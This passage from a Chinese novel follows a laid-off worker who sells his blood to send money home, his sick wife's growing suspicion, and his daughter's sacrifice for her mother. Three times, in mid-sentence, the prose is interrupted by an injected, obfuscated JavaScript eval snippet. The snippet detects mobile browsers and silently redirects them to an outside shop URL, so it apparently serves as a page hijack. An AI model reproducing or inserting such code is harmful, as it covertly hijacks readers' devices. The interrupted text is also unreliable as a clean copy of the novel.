他紧紧攥着那三张用自己鲜血和尊严换来的纸币,仿佛攥着三块烧红的烙铁。这耻辱的选择,像一道永不愈合的伤疤,深深地刻在了他的灵魂上。 20. “营养餐” 踏出血站那扇锈迹斑斑的铁门,外面世界的喧嚣和灼热阳光像一记闷棍,狠狠砸在张建设眩晕的头上。他脚步虚浮,仿佛踩在厚厚的棉花上,深一脚浅一脚,整个世界都在眼前缓慢地旋转、晃动。那阵强烈的、源自血液被强行抽离又部分回输所带来的空虚感和恶心,如同潮水般反复冲击着他的喉咙和感官。他不得不扶住旁边一堵长满青苔、散发着尿骚味的潮湿墙壁,大口喘息着,才勉强没有瘫软下去。 血站旁边,就紧挨着一个用破旧木板和油毡布搭起来的、更加不堪的“补给点”。一个穿着脏得看不出原色围裙、满脸油汗的胖女人,正守着一个半旧的泡沫箱子和一个煤球炉。炉子上坐着一壶冒着可疑热气的“开水”,泡沫箱里凌乱地堆着一些同样不太新鲜的面包和用透明塑料袋装着的、颜色浑浊的牛奶。 这就是血站“附赠”的,或者说,是这桩灰色交易里,唯一一点看似人道的、实则充满讽刺的“营养餐”。 胖女人耷拉着眼皮,用一种见怪不怪的、近乎麻木的眼神扫了一眼扶着墙、脸色惨白的张建设,象是完成一道固定工序,机械地从箱子里抓起一个表皮已经发硬、甚至带着几点霉斑的廉价面包,又拎起一袋看起来象是被稀释过的牛奶,隔着几步远,像扔给路边的野狗一样,随手丢到他脚边一个相对干净些的石墩上。 “喏,你的。” 女人的声音粗嘎,没有任何情绪。 张建设看着石墩上那两样东西。面包干瘪丑陋,牛奶袋子上沾着泡沫箱里的冰碴和污渍。这就是他用近乎自残的方式,损耗了不知多少元气换来的“补偿”。一股巨大的屈辱感,混合着生理上的强烈不适,让他胃里翻江倒海。 旁边,另外两个刚刚也抽完血、面色同样灰败的年轻人,正狼吞虎咽地吃着同样的面包,仰头灌着那浑浊的牛奶,仿佛在进行一场争夺生存资源的竞赛。他们一边吃,一边低声交谈,声音带着一种病态的亢奋和满不在乎: “妈的,下次得找他们要个卤蛋!光这点玩意儿顶个屁用!” “知足吧!听说以前连这个都没有!赶紧吃了回去躺会儿,晚上还得去卸货呢!” “这身子,真是一年不如一年了……下次,不知道还能不能抽……” 这些话,像针一样扎进张建设的耳朵里。他感觉自己和他们,成了同一条肮脏流水线上的产品,被榨取,然后被随意地打发给一点微不足道的“饲料”。 饥饿,一种源自身体被掏空后的、生理本能的凶猛饥饿,最终战胜了屈辱和恶心。他的胃袋像被一只无形的手紧紧攥住,痉挛着,发出空洞的鸣叫。他知道,如果不补充点东西,他可能根本走不回工厂,更别提支撑接下来那要命的夜班。 他闭上眼,深吸了一口污浊的空气,仿佛下定了某种决心。然后,他慢慢地、几乎是匍匐般地,挪到那个石墩前。他没有坐下,只是弯下腰,伸出那双依旧有些颤抖的手,抓起了那个冰冷僵硬的面包。 他几乎没有咀嚼,像一头饿极了的野兽,拼命地、大口地将那干涩粗糙的面包往嘴里塞。面包屑呛进了气管,引发一阵剧烈的咳嗽,他捶打着胸口,脸憋得通红,却依旧没有停下吞咽的动作。 吃完面包,他抓起那袋冰冷的牛奶。塑料包装很薄,带着一股明显的、不新鲜的奶腥气。他用力撕开一个小口,仰起头,贪婪地、几乎是灌注般地,将那股冰凉的、带着怪味的液体倒进喉咙。冰冷的奶水划过食道,落入空荡荡的胃里,带来一阵短暂的、虚假的充盈感。 喝完最后一口,他象是完成了一项极其艰难的任务,弓着腰,双手撑在膝盖上,剧烈地喘息着。额头上满是虚汗,眼前依旧阵阵发黑。 他下意识地,伸出舌头,舔了舔沾在干燥嘴唇上的奶渍。那动作带着一种动物般的本能,一种对这点可怜“营养”的珍惜,更是一种尊严彻底扫地后、近乎自虐的麻木。 然后,他直起身,看也没看那个空牛奶袋和石墩,更没有再理会那个漠然的胖女人和旁边还在吃喝的“同伴”。他拖着更加沉重、仿佛不属于自己的身体,一步一步,朝着工厂的方向挪去。 那顿所谓的“营养餐”,非但没有给他带来任何滋养,反而像一块沉重的、冰冷的耻辱印记,连同那三百块钱一起,沉甸甸地压在了他的胃里,也压在了他再也无法直视的灵魂上。阳光依旧毒辣,但他感觉到的,只有一种从内而外、弥漫开来的,无尽的寒冷与空洞。 南方午后的阳光,带着一种病态的惨白,灼烤着邮局前坑洼不平的水泥地。张建设拖着仿佛不属于自己的身体,每一步都像踩在烧红的炭火上,又象是深陷于粘稠的泥沼。从血站到邮局这短短几百米的路程,他走了将近二十分钟。强烈的眩晕感并未因那顿简陋的“营养餐”而缓解,反而夹杂着一种源自血液流失的、深入骨髓的寒冷和空虚,让他浑身控制不住地微微颤抖。 邮局里,是另一种形态的、令人窒息的拥挤和喧嚣。汗味、劣质烟草味、还有各种方言混杂的焦灼叫嚷,几乎要顶破低矮的天花板。长长的队伍蜿蜒曲折,几乎全是和他一样、来自全国各地、面色黧黑、衣着寒酸的打工者。他们手里紧紧攥着或多或少的钞票,眼神里混杂着疲惫、期盼,还有一丝完成某种使命般的、扭曲的释然。 张建设排在队伍末尾,感觉自己的意识正在一点点剥离。耳边的嘈杂声变得遥远而模糊,象是隔着一层厚厚的、冰冷的玻璃。他只能死死攥着口袋里那三张崭新的、还带着一丝机器和血腥气味的百元纸币,仿佛那是他此刻与这个世界唯一的连接,是他全部意志力的来源。 队伍缓慢地向前蠕动。他看到一个年轻女孩,在汇款单上写下金额后,偷偷抹了下眼角;看到一个中年男人,反复数着手里的毛票,脸上写满了愁苦;还看到有人因为插队而爆发激烈的争吵,污言秽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743055|189737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语像污水一样泼洒…… 终于轮到他了。他踉跄着挪到柜台前,肮脏的玻璃后面,坐着一位面无表情、涂着鲜红口红的中年女营业员。 “汇款。”他的声音干涩沙哑,几乎听不见。 女营业员抬起眼皮,不耐烦地瞥了他一眼,扔出一张绿色的汇款单和一支被链条拴着的、几乎写不出字的圆珠笔。 张建设用那双依旧在微微颤抖的手,拿起笔。笔尖在粗糙的纸面上划动,留下断断续续、歪歪扭扭的字迹。收款人:李桂兰。地址:北春市…… 每一个字,都仿佛耗掉他一丝力气。 当写到“汇款金额”那一栏时,他的手指停顿了。他看着那刺目的“?:”符号,仿佛能看到这三张纸币背后,那粗大的针头、冰冷的机器、眩晕的黑暗和石墩上那干硬的面包。 他深吸一口气,象是要将翻涌的情绪强行压下,用力写下了:叁佰元整。 最后,是附言栏。那一小方狭窄的空白,此刻却像一片无边无际的海洋,横亘在他与远方的家人之间。他该写什么?告诉她们这钱的来历?诉说自己的艰辛和屈辱?不,绝不能。 他死死咬着牙关,口腔里弥漫开一股铁锈般的血腥味(或许是刚才咬破了嘴唇,或许是心理作用)。他握着那支不听话的笔,用尽全身残存的力气和意志,在那狭小的空格里,写下了一句他此生最沉重、也最虚伪的谎言: “厂里发了奖金,我很好,勿省。” “厂里发了奖金”——多么轻飘飘的谎言,掩盖了流水线的残酷和血站的肮脏。 “我很好”——多么苍白的安慰,背后是身体的透支和尊严的沦丧。 “勿省”——多么无力的叮嘱,他知道,妻子绝不会不省,她们只会将这带着“奖金”光环的钱,用在刀刃上,哪怕自己饿着、冻着、病着。 写完这八个字,他像刚刚经历了一场酷刑,额头上全是冰冷的虚汗。 他将汇款单和三张纸币,一起从柜台下的缝隙塞了进去。 女营业员熟练地清点钞票,检查单据,然后在键盘上噼里啪啦地敲打着,盖戳。整个过程迅速、机械,没有任何多余的表情。对于她来说,这只是一天中成百上千笔普通业务中的一笔,汇出的是钱,至于这钱背后是血是汗还是泪,与她无关。 “手续费两块。下一个!”她将一张汇款收据扔出来,声音没有任何起伏。 张建设拿起那张薄薄的、印着邮戳的收据,看都没看,就紧紧地攥在手心,仿佛攥着一枚滚烫的、烙印着耻辱的勋章。 他转过身,逃离了那令人窒息的邮局。外面的阳光依旧刺眼,但他却感觉不到丝毫温暖。那三百元,连同他那句精心编织的谎言,已经踏上了北去的列车。而他,留在这南方的,只剩下被掏空的身体、无法愈合的创伤,以及那弥漫在口腔里、久久不散的,谎言与鲜血混合的、苦涩的铁锈气息。 21. 李桂兰的怀疑 北方的寒气似乎钻透了筒子楼每一块砖缝,凝结在李桂兰的眉梢和心头。她裹紧那件抵御不住风寒的旧棉袄,从街道那家充斥着酱油和咸菜气味的小卖部里,接过了那张绿色的汇款单。当“叁佰元”这个数字映入眼帘时,她的手指猛地一颤,并非惊喜,而是一种猝不及防的、尖锐的惊悸。 三百块?怎么会是三百? 丈夫上次寄钱,是一个月前,那笔钱在支付了婆婆的药费和家里的欠账后,已所剩无几。他信里从未提过有什么“奖金”,电子厂的流水线,还能有这般慷慨的额外恩赐?这数目,像一块过于肥美的肉,突兀地出现在她们这家徒四壁的餐桌上,反而让人不敢下咽。 她捏着汇款单,像捏着一块烧红的炭,脚步虚浮地往回走。寒风卷着地上的雪粒,抽打在她脸上,她却感觉不到疼,心里翻涌着比这天气更冷的疑虑。 “哟,桂兰,取钱回来了?” 一个如同跗骨之蛆的声音自身后响起。王婶挎着菜篮子,不知何时又出现在她身边,目光像钩子一样,精准地钩住了她手里的汇款单,“建设又寄钱回来了?这次寄了多少啊?看你这脸色,肯定是笔大数目吧?” 李桂兰下意识想把汇款单藏起来,但已经晚了。 王婶凑近了些,眼睛飞快地扫过汇款单上的金额,脸上瞬间堆起一种夸张的、混合着羡慕和探究的假笑:“哎呦喂!三百块!了不得啊!建设这在南方是发了大财了?干什么活儿能这么挣钱啊?” 她不等李桂兰回答,便自顾自地压低声音,带着一种分享秘密似的、却又足够让周围路过的邻居听清的音量说道:“要我说啊,桂兰,这男人在外面,挣钱多是好事,可你也得多长个心眼!现在南边那地方,乱着呢!正经打工,哪能一下子寄回来这么多?别是……别是干了什么见不得光的行当吧?我可听说,有不少人在那边……” 她的话没说完,但那意味深长的停顿和闪烁的眼神,比任何直白的指控都更恶毒。像一把淬了毒的冰锥,狠狠扎进了李桂兰本就惶惑不安的心。 李桂兰的脸色瞬间变得惨白,嘴唇哆嗦着,想反驳,喉咙却象是被冻住了一样,发不出任何声音。她猛地挣脱王婶那看似亲热、实则如同蛇缠般的手臂,几乎是跑着冲回了家。 “哐当”一声关上门,背靠着冰冷的门板,她大口大口地喘着气,心脏在胸腔里疯狂地跳动着,几乎要撞破肋骨。屋子里,婆婆断续的咳嗽声和窗外呼啸的风声交织在一起,更添了几分凄凉和不安。 她颤抖着手,再次展开那张汇款单,象是要从中透视出隐藏的密码。目光死死地盯在“汇款人地址”那一栏。那是一个陌生的、她从未听张建设提起过的邮局地址,不在他工厂附近,甚至不在他信里常说的那个区。 一个完全陌生的地方…… 他为什么会去那里汇款?电子厂附近没有邮局吗?他信里说的“厂里”,难道指的不是他做工的电子厂? “厂里发了奖金,我很好,勿省。” 这行附言里的每一个字,此刻在她眼中都变得无比可疑,甚至刺眼。“奖金”?“很好”?她想起上次通话时,丈夫那沙哑疲惫、近乎虚脱的声音;想起他信里越来越少的话语和越来越长的间隔;想起他从未提及工作的具体内容,只有含糊的“忙”和“累”…… 王婶那恶意的揣测,像魔咒一样在她脑海里盘旋——“见不得光的行当”……什么样的事情,能快速挣到这么多钱,却又无法宣之于口?恐惧像冰冷的藤蔓,从脚底迅速蔓延而上,缠绕住她的心脏,越收越紧。 她不敢再想下去。 那种熟悉的、喉咙发痒的感觉又涌了上来。她冲到外间,俯身对着那个冰冷的搪瓷痰盂,发出一阵撕心裂肺的咳嗽。这一次,咳出的痰液中,那抹暗红色更加明显,像一枚不详的印记。 她看着痰盂里的血丝,又看看手里那张仿佛带着不祥气息的汇款单,一股巨大的、混合着对丈夫境况的担忧、对自身病情的绝望、以及对未来无边恐惧的寒意,彻底将她吞没。 她没有像往常一样,仔细地将汇款单收好。而是将其胡乱地折了几下,塞进了碗柜最底层,和那些空药瓶、欠费单放在了一起。仿佛这样,就能暂时掩盖掉这笔钱带来的不安和耻辱。 她靠在冰冷的碗柜上,缓缓滑坐到地上,将脸埋进膝盖。单薄的身体在寒冷的空气中瑟瑟发抖,不是因为冷,而是因为一种从灵魂深处弥漫开来的、无法驱散的冰冷和恐惧。那三百块钱,没有带来丝毫希望,反而像一块巨大的阴影,预示着更深的、未知的灾难,正向着这个摇摇欲坠的家,悄然逼近。 工棚的洗漱区,是这片污浊之地里,最不堪的角落。没有热水,只有一个锈迹斑斑、常年滴水的铁皮水槽,和几面挂在斑驳墙壁上、布满蛛网般裂痕和厚厚污垢的镜子。空气里弥漫着一股刺鼻的尿臊味、劣质牙膏的薄荷味、以及某种类似腐烂抹布的、令人作呕的酸馊气味,混杂着从潮湿墙角散发出的浓重霉味。水槽边缘积着一圈黄黑色的污渍,下水口被头发和杂物堵住,积水几乎不流动,水面浮着一层五彩的油膜。 张建设脚步虚浮地挪到这里,几乎是凭着本能。血站带来的强烈眩晕感和那种深入骨髓的寒冷依旧缠绕着他,像一件湿透的、冰冷的衣服紧贴皮肤,甩脱不掉。他想用冷水刺激一下,让自己从这种半麻木的、仿佛灵魂出窍的状态中清醒过来。 他拧开那个需要用力才能转动、发出刺耳“吱嘎”声的水龙头。没有热水,只有一股细弱的、带着铁锈颜色的冰冷水流断断续续地涌出。他俯下身,将头凑到水龙头下,任由那冰冷的、带着腥气的自来水冲刷着他的头顶、脖颈。 刺骨的寒意让他猛地打了个激灵,短暂的清醒后,是更深的疲惫和空虚。他双手撑在水槽边缘,那冰冷粘腻的触感从掌心传来。水珠顺着他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743056|189737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的头发、脸颊滑落,滴落在肮脏的水槽里,发出单调的“嘀嗒”声。 他缓缓地、极其缓慢地,抬起了头。 目光,不可避免地,撞上了正前方那面最肮脏、裂纹也最多的镜子。 镜面太脏了,布满灰尘、水渍和不知名的污点,将他的影像切割得支离破碎,扭曲变形。但他还是清晰地看到了——看到了镜中的那张脸。 那是一张陌生的、灰败的、仿佛被抽干了所有生气的脸。脸色是一种不健康的、带着死气的蜡黄,眼窝深陷,周围是一圈浓重得化不开的、如同瘀青般的黑晕。嘴唇干裂,没有一丝血色,微微张着,象是在无声地喘息。眼神空洞、涣散,里面没有了往日作为技术工人的专注和神采,也没有了初到南方时的茫然与挣扎,只剩下一种被彻底榨干、碾碎后的,死寂般的麻木。 水珠还挂在他花白的、凌乱的鬓角,象是冰冷的眼泪。额头上、眼角边,那些被生活用刻刀狠狠划出的皱纹,在昏暗灯光和污浊镜面的映衬下,显得愈发深刻、刺目,如同干涸土地上的龟裂。 这张脸……这是谁? 张建设怔怔地看着,仿佛在审视一个与自己毫不相干的、濒死的陌生人。 一丝微弱的、属于过去的记忆,像幽灵般闪过脑海。他想起了很多年前,父亲也曾有过这样一段萎靡不振的时期,脸色也是这样难看。那时他还小,只记得母亲偷偷抹泪,说父亲是“献血”给厂里救了人,伤了根本…… “献血”…… 这两个字,像两根烧红的钢针,猛地刺入他此刻敏感而脆弱的神经! 一股冰冷的、带着铁锈味的恐惧,瞬间攫住了他的心脏!父亲当年“献血”后,身体就垮了,再也没能恢复过来,直到最后…… 难道……难道他也要步父亲的后尘?在这远离故土的异乡,用这种透支生命的方式,换来的却仅仅是三百块钱,和一句写在汇款单上的、苍白的谎言?! 镜中那张灰败、绝望的脸,与记忆中父亲虚弱的身影,在这一刻,诡异地重叠在了一起!象是一个无法摆脱的、残酷的宿命轮回! 不!他在心底发出一声无声的、绝望的嘶吼!恐惧像冰冷的潮水,灭顶而来。他猛地向后退了一步,脊背重重地撞在身后冰冷潮湿的砖墙上,发出沉闷的响声。但他感觉不到疼痛,只是死死地、用尽全身力气地闭上了眼睛,不敢再看镜中那个陌生的、预示着不祥未来的“自己”。 黑暗中,只有心脏在胸腔里疯狂而杂乱地跳动,象是垂死挣扎的鼓点。工棚里污浊的空气,洗漱区刺鼻的气味,以及那面肮脏镜子所带来的、冰冷的绝望,像无数只无形的手,将他死死地按在这片名为“现实”的泥沼深处,动弹不得。 他再也没有勇气,去面对镜中的那张脸。那张脸,不仅映照出他此刻的狼狈与耻辱,更仿佛预示着他即将步上的、那条与父亲相似的、通往毁灭的路径。 22. 无声的哭泣 北春市的十一月,寒风像一把钝刀子,割着人脸。筒子楼的走廊里堆满杂物,墙壁上剥落的墙皮如同这个时代溃烂的疮疤,露出底下灰暗的水泥。家家户户门口堆着捡来的煤核和废纸板,空气里永远飘着一股劣质煤烟和白菜炖土豆的混合气味。 张小梅搓着冻得通红的小手,哈出的白气瞬间消散在冰冷的空气中。她小心翼翼地数着藏在铁皮铅笔盒夹层里的毛票,一分,两分,五分……皱巴巴的,带着孩子体温的纸币,是她从牙缝里省了三个月的早餐钱。学校的早餐,一碗稀得能照见人影的玉米糊糊,一个硬得像石头的窝窝头,她总是偷偷藏起半个,饿得头晕眼花,就猛灌几口凉水。 今天,她终于攒够了。攥着那叠汗湿的零钱,她走进那家充斥着消毒水和草药味的国营药店。玻璃柜台落着灰,后面坐着个打毛线的中年女售货员,眼皮耷拉着,一副爱答不理的样子。 “阿姨,我……我要买那个。”小梅踮起脚,怯生生地指着柜台里那支标价“三元五角”的人参蜂王浆。棕色的玻璃小瓶,在昏暗的灯光下,泛着一点诱人的、虚假的光泽。 女售货员撩起眼皮,上下打量着她——洗得发白、明显小了一号的旧棉袄,袖口磨得发亮,露出黑灰色的棉絮。嘴角撇了撇,带着一种城里人对“穷酸相”本能的不耐烦:“哪家的孩子?这东西金贵,不零卖,要买就是一盒。你有钱吗?” 小梅的脸瞬间涨红,像被抽了一巴掌。她把手里的零钱全部摊在冰冷的玻璃柜台上,声音细若蚊蚋:“我……我就买一支,行吗?我妈妈病了……” “嗤”女售货员从鼻子里哼出一声,扫了一眼那堆零碎,“这点钱?差得远呢!一边玩儿去,别耽误我工作。”她重新拿起毛线针,不再看小梅一眼。 小梅的眼泪在眼眶里打转,她死死咬着下唇,不让它掉下来。她默默地,一张一张,把那些承载着她无数个饥饿早晨的毛票捡起来,攥在手心,指甲几乎掐进肉里。她转身,慢慢走出药店,寒风立刻灌满了她的衣领。 她不死心,又跑到离家更远的一个私人开的小卖部。店主是个精瘦的男人,眼神精明。这次,她成功买到了,用几乎所有的钱,换来了那一支小小的、沉甸甸的玻璃瓶。 回到家,母亲李桂兰还在昏睡,压抑的咳嗽声断续从里屋传来,像破旧的风箱。屋子里又冷又潮,窗台上那盆半死不活的吊兰叶子耷拉着。小梅蹑手蹑脚地走到母亲床前,看着母亲凹陷下去的眼窝和灰败的脸色,心里像被针扎一样疼。 她把那支人参蜂王浆飞快地塞进母亲硬邦邦、散发着淡淡霉味的枕头底下。又拿出早就准备好的纸条,那是从作业本上撕下来的一角,字迹工工整整,却带着孩子的稚气: “妈妈,你吃了病就好了。等我长大,赚很多很多钱给你和爸爸花。” 做完这一切,她像完成了一个神圣的仪式,轻轻舒了口气。炉子早就灭了,冰冷的灶台昭示着这个家的无望。她拿起角落里那个掉光了漆的搪瓷缸,走到公用水龙头下,接了半缸冰凉的冷水,小口小口地喝着,试图压住胃里因饥饿泛起的酸水。 窗外,是灰蒙蒙的天空和光秃秃的枝桠,几只寒鸦聒噪地飞过。这个十岁女孩的礼物,裹挟着省下的早餐、遭受的白眼、以及一个孩童对苦难最早、最无力的体察,静静地藏在破枕头下,像这个寒冷冬天里,唯一一点微弱而不合时宜的暖意。而这暖意,恰恰映照出周遭现实更加刺骨的冰冷与尖刻。 夜色像一块浸透了冰水的厚重抹布,严严实实地覆盖在北春市上空。筒子楼里并不寂静,隔壁夫妻为钱吵架的污言秽语、孩子挨打的哭嚎、不知哪家电视机里传来的廉价广告声,混杂着楼道公共厕所挥之不去的尿骚味,共同构成了这夜晚令人窒息的背景音。 李桂兰侧躺在冰冷的板床上,身上压着家里所有能御寒的衣物——一件张建设留下的、散发着机油和汗味的老棉袄,一条女儿小梅学校发的、薄得像纸的旧棉被。寒气却像无孔的针,从窗户的裂缝、从门板的缝隙钻进来,直刺进她的骨缝里。 她拼命压抑着喉咙里那股熟悉的、令人窒息的痒意。肺叶像两片破败的、沾满了灰尘的风箱,每一次艰难的呼吸都带着“嗬嗬”的杂音。咳嗽如同困在胸腔里的猛兽,一次次试图冲破她的压制。她不能咳,不敢咳。小梅就睡在仅用一道布帘隔开的角落,明天孩子还要早起上学。 可是,那股痒意越来越凶猛,像无数细小的爪子在挠着她的气管。她猛地翻身,将脸深深埋进枕头,整个身体蜷缩成虾米状,剧烈地痉挛起来。被子被她死死咬在嘴里,呜咽声和咳嗽声闷在胸腔里,发出一种类似野兽濒死的、沉闷而痛苦的“咕噜”声。额头上沁出冰冷的虚汗,和因痛苦而溢出的泪水混在一起,浸湿了破旧的枕巾。 就在这几乎要窒息的挣扎中,她的脸颊触碰到枕头下一个硬硬的小东西。她愣了一下,艰难地止住残余 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743057|189737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的咳嗽,颤抖着手摸索进去——是一支冰凉的、小小的玻璃瓶。 借着从糊着旧报纸的窗户缝隙透进来的、清冷黯淡的月光,她辨认出那是什么——一支人参蜂王浆。旁边,还有一张折叠的小纸条。 她的心猛地一缩,一种不祥的预感攫住了她。她哆嗦着展开纸条,女儿那工整却稚嫩的字迹,像烧红的烙铁,烫伤了她的眼睛: “妈妈,你吃了病就好了。等我长大,赚很多很多钱给你和爸爸花。” 一瞬间,李桂兰全身的血液仿佛都凝固了。她不是感动,而是无边的恐惧和愤怒!这玩意儿要多少钱?小梅哪来的钱?她是不是没吃早饭?是不是去捡废铁了?还是……还是像隔壁王婶嚼舌根说的,有些半大孩子会去工地上偷铜线卖? 各种可怕的猜测像毒蛇一样缠绕着她的心。她想起白天去厂里留守处想预支点医药费,那个以前见了她总是客客气气喊“李师傅”的年轻办事员,如今眼皮都懒得抬一下,用圆珠笔敲着桌面,不耐烦地说:“厂子都这样了,哪还有钱?李师傅,你也体谅体谅我们的难处,大家都在熬着等死呢!”那语气里的冷漠和敷衍,比外面的寒风还刺骨。 又想起前天去娘家想借点钱买药,嫂子那指桑骂槐的尖刻嗓音仿佛还在耳边:“哎呦,现在谁家不难啊?我们这点死工资,还得养孩子,可经不起折腾。桂兰不是当年厂里的技术能手吗?那劳模奖金呢?咋不拿出来应应急?”字字句句,像淬了毒的针,扎得她体无完肤。 人情比纸薄,现实翻脸无情。她李桂兰半辈子要强,如今却连累得十岁的女儿要用不知道从哪里省出来、甚至可能是……“弄”来的钱,给她买这种华而不实的东西! “啪嗒”,一滴滚烫的泪水砸在冰冷的玻璃瓶上。紧接着,第二滴,第三滴……如同断了线的珠子。她再也忍不住,一把抓过被子,整个头埋进去,压抑了许久的咳嗽和呜咽终于决堤。那不是悲伤的哭泣,而是屈辱、是愤懑、是对自身无能最深切的痛恨,是对这狗日的生活最无声的控诉!被角被她死死咬住,发出“咯吱”的摩擦声,瘦削的肩膀在冰冷的月光下剧烈地颤抖着,像寒风中一片即将凋零的枯叶。 那支小小的人参蜂王浆,此刻在她手里,不是救命的良药,而是压垮她尊严的最后一根稻草。女儿的孝心,成了照见现实残酷最明亮、也最残忍的一面镜子。在这绝望的深夜里,她的哭泣无声,却比任何嚎啕都更加撕心裂肺。 23. 劳模奖章的归宿 南方的潮湿是另一种形态的寒冷,黏稠地附着在皮肤上,渗进工棚的每一个缝隙。这所谓的工棚,不过是工地角落用彩条布和毛竹勉强搭起的窝棚,地上满是泥泞和烟头,几十个铺位挤在一起,汗臭、脚臭、劣质烟草和隔夜饭菜的馊味混杂成一股令人作呕的气息。蚊蝇在昏暗的灯泡下嗡嗡盘旋,寻找着可叮咬的目标。 张建设正在整理他那点少得可怜的行囊。他要离开这个干了三个月的工地了。不是不想干,是包工头卷了部分工程款跑了,剩下个小管事儿的,发不出工钱,只勉强结算了路费,让他们“自谋生路”。同棚的工友们骂骂咧咧,有的在打电话找新的门路,声音焦躁而绝望;有的则瘫在铺位上,眼神空洞地望着漏雨的棚顶。 他从那个印着“北春市第一机械厂”字样的、边缘已经磨破的帆布工具包最底层,摸索着。手指触到一个硬物,他用几乎冻僵的手,小心翼翼地把它掏了出来。 那是一枚劳模奖章。 红色的缎带因为年深日久的摩挲和汗水的浸润,已经有些发暗、发硬,甚至边缘有些起毛。但那黄色的铜质奖章主体,却被他用旧布擦拭得异常光亮,即使在工棚这昏黄污浊的灯光下,也反射出一种执着而孤独的光芒。奖章上,“劳动模范”四个字,以及背后刻着的“奖给先进生产者张建设同志”和年份,都清晰可见。这是他半辈子勤恳、汗水,甚至健康(他的肺因为常年吸入金属粉尘一直不好)换来的唯一见证,是他在那个轰然倒塌的旧世界里,曾经拥有过的全部尊严。 就在他凝视着奖章,眼神有些恍惚,仿佛穿越回了那个机器轰鸣、热火朝天的车间时,奖章因为手上沾了泥水有些滑,竟从他指间脱落,“啪嗒”一声,掉在了泥水横流的地面上。 “哟,张叔,啥宝贝掉了?”一个睡他上铺的年轻工友,绰号“泥鳅”,刚二十出头,精瘦,眼皮活络,正叼着烟收拾东西。他眼疾手快,弯腰就捡了起来。 泥鳅把奖章在手里掂了掂,手指摩挲着冰凉的金属表面,脸上露出一种混合着好奇和不屑的神情。他撇撇嘴,象是掂量货物的成色,随即嗤笑一声,那笑声在嘈杂的工棚里显得格外刺耳: “张叔,这玩意儿……是铜的吧?”他斜眼看着张建设,语气轻佻,“看着挺亮,我还当是金的呢!现在这世道,这玩意儿顶啥用?能当饭吃还是能当钱花?我估摸着,扔废品站,最多也就卖个块儿八毛,还不够买包好烟呢!您还当个宝似的藏着掖着?” 周围几个等活干或同样准备离开的工友,闻言也投来目光。有的麻木,有的带着看笑话的意味。没有人出声反驳。在这个只认钞票、只讲生存的地方,过去的荣誉?那玩意儿比不上一张皱巴巴的十元纸币实在。时代变了,衡量一个人价值的尺度,变得如此赤裸和冰冷。 张建设的脸在昏暗的光线下,瞬间失去了所有血色,嘴唇哆嗦了一下,想说什么,却一个字也吐不出来。一股巨大的屈辱感,混杂着被戳破心事的狼狈,像工棚外的寒潮,瞬间淹没了他。他想起了当年在厂里披红挂彩、上台领奖时的掌声和羡慕的目光,想起了老厂长拍着他肩膀说“建设,你是咱们厂的脊梁!”……那些画面,在此刻泥鳅那轻蔑的嗤笑和工友们漠然的注视下,碎成了齑粉,比地上的泥浆还要不堪。 他没有争辩,也没有解释。他只是默默地、几乎是有些僵硬地伸出手,从泥鳅手里,近乎夺般地拿回了那枚奖章。然后,他蹲下身,用粗糙得像砂布的手,撩起自己还算干净的内衣衣角,极其仔细、甚至带着一种近乎虔诚的专注,一遍又一遍地擦拭着奖章上沾染的泥点和污渍。他的动作很慢,很沉,仿佛擦拭的不是一枚铜质奖章,而是自己那早已支离破碎的尊严和过往。 直到奖章重新变得光亮可鉴,映出他此刻憔悴、卑微的面容。他最后看了一眼那冰冷的金属光泽,然后小心翼翼地、近乎仪式般地,将它放回了帆布工具包的最底层,用几件破旧的衣物严严实实地盖好、压紧。 仿佛这样,就能把那个属于“劳模张建设”的时代,把那些曾经的骄傲和信仰,深深地掩埋起来,不被这个冰冷、势利的新世界所窥见和嘲弄。然而,那枚奖章沉甸甸的分量,却清晰地压在他的心底,比任何实物都要沉重。它不再闪耀,只是冰冷地、固执地存在着,提醒着他曾经是谁,以及,他现在变成了什么。 日历已经翻过了立春,但北春市依然被一种死气沉沉的寒意紧紧包裹。这春寒,比严冬更刺骨,因为它带着一种希望被反复践踏后的绝望。昨夜一场看似温柔的春雪,落地后迅速被往来车辆和煤灰碾压成一片肮脏、泥泞的冰碴,糊在马路牙子、墙角,以及筒子楼坑洼不平的楼道里。 寒风从楼道尽头那扇永远关不严的破窗户灌进来,呼啸着,像无数看不见的冰冷小手,拍打着每扇薄薄的木门。李桂兰在冰冷的床上蜷缩了半夜,直到那阵撕心裂肺的咳嗽暂时平息,才昏昏沉沉地睡去。天刚蒙蒙亮,一种根植于母亲本能的生物钟,让她在一片浑身的酸痛和胸腔的憋闷中挣扎着醒来。 喉咙里依然残留着血腥味和药物苦涩的混合感。她伸手摸到枕头下那支冰凉的人参蜂王浆, 